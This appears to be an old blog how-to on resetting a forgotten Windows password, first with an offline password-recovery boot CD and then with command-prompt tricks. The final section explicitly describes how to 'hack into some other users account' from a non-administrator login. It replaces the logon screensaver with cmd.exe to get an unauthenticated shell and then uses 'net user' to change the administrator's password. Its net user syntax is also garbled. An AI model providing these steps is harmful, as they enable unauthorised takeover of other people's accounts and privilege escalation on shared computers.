If you forgot your Windows password you will not be able to login to windows.

So what to do in this case ? Is there a way to reset the Windows password ? Answer is yes, there is a way to reset or change the password.

Let’s see how we reset windows password.

Fix:

There is a convenient way to do it with a Windows NT password recovery CD which can used to reset the password for any account in Windows NT ,Windows 2000 ,Windows XP , Windows Vista.

Follow the below steps to rest your windows password:

1. Download the ISO image from and burn a CD with this ISO image file.

2. Boot your computer using this bootable CD created in step 1. You may need to set your CD-ROM as first boot device in BIOS in order to boot from it.

3. Once you boot your computer with this CD, you will get a command based interface which is quite self-explanatory. On first screen, press enter key to boot in default mode.

4. After you boot, it gives option, it will show the drive partitions and will give the choice, “Please select the partition number.” Press enter if windows is installed on C drive, else select the appropriate partition.

5. Now it will ask ” What is path of Windows directory ?”, press enter for default value.

6. Now it will show option “Select which part of registry to load” . Type 1 and press enter.

7. This will show the list of users on the windows. Type the name of the user for which you want to reset password and press enter.

8. Now it will show following choices

1. Clear the password

2. Edit password

3. Promote user

4. Unlock account

5. Quit

Press 1 and press enter.

9. It will show a message ” Password cleared ! ”

10. It will give options to select another user, just type “!” (Exclamation mark) without quotes and press enter.

It will show previous menu, type q and press enter to quit from this menu.

11.Now it will show message ” About to write files back ! Do it ? [n] ” . Type “y” without quotes and press enter. It will show message “Edit Complete.

Note: You can also try again if it somehow failed. New run [n] ” Simple press enter.

12. Remove the bootable CD from the tray and restart your computer.

Password Cleared and Trouble Fixed !

Also note here is another way to change your password or hack into some other users account.This works if you have multiple accounts on your computer.

THE below method is to be used when you can login with a non administrator account

Open command prompt and type bold text below, write the first line below and press enter then the next and so on.

cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit

So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234? and now you’ve changed the admin password to 1234.

If you have administrator account and want to change password of any other user then simply open command prompt and type [net user password]So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234? and now you’ve changed the admin password to 1234.
